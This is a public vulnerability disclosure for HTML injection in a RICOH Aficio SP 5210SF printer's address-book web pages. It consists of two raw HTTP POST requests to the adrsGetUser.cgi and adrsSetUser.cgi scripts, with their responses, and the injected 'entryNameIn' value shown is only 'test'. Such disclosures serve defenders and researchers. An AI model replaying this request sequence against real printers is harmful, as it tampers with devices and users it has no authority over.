# Exploit Title: RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection # Discovery by: Olga Villagran # Discovery Date: 2020-03-02 # Vendor Homepage: https://www.ricoh.com/ # Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/rc3/model/sp52s/sp52s.htm?lang=es # Product Version: RICOH Aficio SP 5210SF Printer # Vulnerability Type: Code Injection - HTML Injection # Steps to Produce the HTML Injection: #1.- HTTP POST Request 'adrsGetUser.cgi': POST /web/entry/en/address/adrsGetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsList.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 402 Connection: close Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357 Upgrade-Insecure-Requests: 1 mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=1&searchSpecifyModeIn=&outputSpecifyModeIn=DEFAULT&entryIndexIn=&entryNameIn=&entryFilterIn=ALL_O&searchItemIn=SEARCH_INDEX_O&searchDataIn=&pages=&listCountIn=10&totalCount=8&offset=0&00001=ADRS_ENTRY_USER&00002=ADRS_ENTRY_USER&00003=ADRS_ENTRY_USER&00004=ADRS_ENTRY_USER&00007=ADRS_ENTRY_USER&00008=ADRS_ENTRY_USER&00010=ADRS_ENTRY_USER&00012=ADRS_ENTRY_USER #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 22:22:44 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 22:22:44 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close #2.- HTTP POST Request 'adrsSetUser.cgi': POST /web/entry/en/address/adrsSetUser.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/web/entry/en/address/adrsGetUser.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 607 Connection: close Cookie: risessionid=083527814813645; cookieOnOffChecker=on; wimsesid=121318357 Upgrade-Insecure-Requests: 1 mode=ADDUSER&pageSpecifiedIn=&pageNumberIn=&searchSpecifyModeIn=&outputSpecifyModeIn=&inputSpecifyModeIn=WRITE&wayFrom=adrsGetUser.cgi%3FoutputSpecifyModeIn%3DSETTINGS&wayTo=adrsList.cgi%3FsearchSpecifyModeIn%3DNONE&isSelfPasswordEditMode=false&entryIndexIn=00005&entryNameIn=test&entryDisplayNameIn=test&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&userCodeIn=&smtpAuthAccountIn=AUTH_SYSTEM_O&folderAuthAccountIn=AUTH_SYSTEM_O&ldapAuthAccountIn=AUTH_SYSTEM_O&entryUseIn=ENTRYUSE_TO_O&faxDestIn=&mailAddressIn=&isCertificateExist=false&folderProtocolIn=SMB_O&folderPathNameIn= #HTTP Response : HTTP/1.0 200 OK Date: Mon, 02 Mar 2020 22:23:10 GMT Server: Web-Server/3.0 Content-Type: text/html; charset=UTF-8 Expires: Mon, 02 Mar 2020 22:23:10 GMT Pragma: no-cache Cache-Control: no-cache Set-Cookie: cookieOnOffChecker=on; path=/ Connection: close